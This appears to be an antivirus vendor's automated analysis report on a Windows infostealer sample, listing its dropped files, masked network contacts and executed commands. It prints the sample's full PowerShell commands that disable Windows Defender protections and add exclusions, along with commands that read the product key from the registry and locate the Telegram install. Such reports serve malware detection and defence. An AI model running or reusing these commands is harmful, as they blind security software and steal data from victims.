Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Full path to file>'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -Enabl...
Modifies file system
Creates the following files
- %TEMP%\_mei27962\vcruntime140.dll
- %TEMP%\_mei27962\_bz2.pyd
- %TEMP%\_mei27962\_ctypes.pyd
- %TEMP%\_mei27962\_decimal.pyd
- %TEMP%\_mei27962\_hashlib.pyd
- %TEMP%\_mei27962\_lzma.pyd
- %TEMP%\_mei27962\_queue.pyd
- %TEMP%\_mei27962\_socket.pyd
- %TEMP%\_mei27962\_sqlite3.pyd
- %TEMP%\_mei27962\_ssl.pyd
- %TEMP%\_mei27962\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-fibers-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-fibers-l1-1-1.dll
- %TEMP%\_mei27962\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei27962\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-kernel32-legacy-l1-1-1.dll
- %TEMP%\_mei27962\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei27962\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei27962\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei27962\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-sysinfo-l1-2-0.dll
- %TEMP%\_mei27962\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei27962\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei27962\base_library.zip
- %TEMP%\_mei27962\libcrypto-3.dll
- %TEMP%\_mei27962\libffi-8.dll
- %TEMP%\_mei27962\libssl-3.dll
- %TEMP%\_mei27962\python311.dll
- %TEMP%\_mei27962\select.pyd
- %TEMP%\_mei27962\sqlite3.dll
- %TEMP%\_mei27962\ucrtbase.dll
- %TEMP%\_mei27962\unicodedata.pyd
- %TEMP%\ct01dmpk\ct01dmpk.0.cs
- %TEMP%\ct01dmpk\ct01dmpk.cmdline
- %TEMP%\ct01dmpk\ct01dmpk.out
- %TEMP%\ct01dmpk\csc6d6624ba414d4cbca4e3a7485883f611.tmp
- %TEMP%\resdea4.tmp
- %TEMP%\ct01dmpk\ct01dmpk.dll
- %TEMP%\ \display (1).png
- %TEMP%\inkf4xbyo6.tmp
- %TEMP%\fvp6tmijrz.tmp
- %TEMP%\gtlg5.zip
Deletes following files that it created itself
- %TEMP%\resdea4.tmp
- %TEMP%\ct01dmpk\csc6d6624ba414d4cbca4e3a7485883f611.tmp
- %TEMP%\ct01dmpk\ct01dmpk.0.cs
- %TEMP%\ct01dmpk\ct01dmpk.out
- %TEMP%\ct01dmpk\ct01dmpk.cmdline
- %TEMP%\ct01dmpk\ct01dmpk.dll
- %TEMP%\inkf4xbyo6.tmp
- %TEMP%\fvp6tmijrz.tmp
Network activity
Connects to
- 'ip##pi.com':80
- 'gs##tic.com':443
- 'ca####.discord.com':443
TCP
HTTP GET requests
- http://ip##pi.com/json/?fi###########
Other
- 'gs##tic.com':443
- 'ca####.discord.com':443
UDP
- DNS ASK bl###-5yvwq.in
- DNS ASK ip##pi.com
- DNS ASK gs##tic.com
- DNS ASK ca####.discord.com
Miscellaneous
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'"
- '<SYSTEM32>\cmd.exe' /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess ...
- '<SYSTEM32>\cmd.exe' /c "tasklist /FO LIST"
- '<SYSTEM32>\cmd.exe' /c "wmic csproduct get uuid"
- '<SYSTEM32>\tasklist.exe' /FO LIST
- '<SYSTEM32>\wbem\wmic.exe' csproduct get uuid
- '<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
- '<SYSTEM32>\reg.exe' QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
- '<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
- '<SYSTEM32>\reg.exe' QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_VideoController get name"
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value"
- '<SYSTEM32>\wbem\wmic.exe' path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbAB...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\ct01dmpk\ct01dmpk.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDEA4.tmp" "%TEMP%\ct01dmpk\CSC6D6624BA414D4CBCA4E3A7485883F611.TMP"
- '<SYSTEM32>\cmd.exe' /c "wmic os get Caption"
- '<SYSTEM32>\wbem\wmic.exe' os get Caption
- '<SYSTEM32>\cmd.exe' /c "wmic computersystem get totalphysicalmemory"
- '<SYSTEM32>\wbem\wmic.exe' computersystem get totalphysicalmemory
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess ...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "tasklist /FO LIST"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic csproduct get uuid"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_VideoController get name"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbAB...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\ct01dmpk\ct01dmpk.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDEA4.tmp" "%TEMP%\ct01dmpk\CSC6D6624BA414D4CBCA4E3A7485883F611.TMP"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic os get Caption"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic computersystem get totalphysicalmemory"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"' (with hidden window)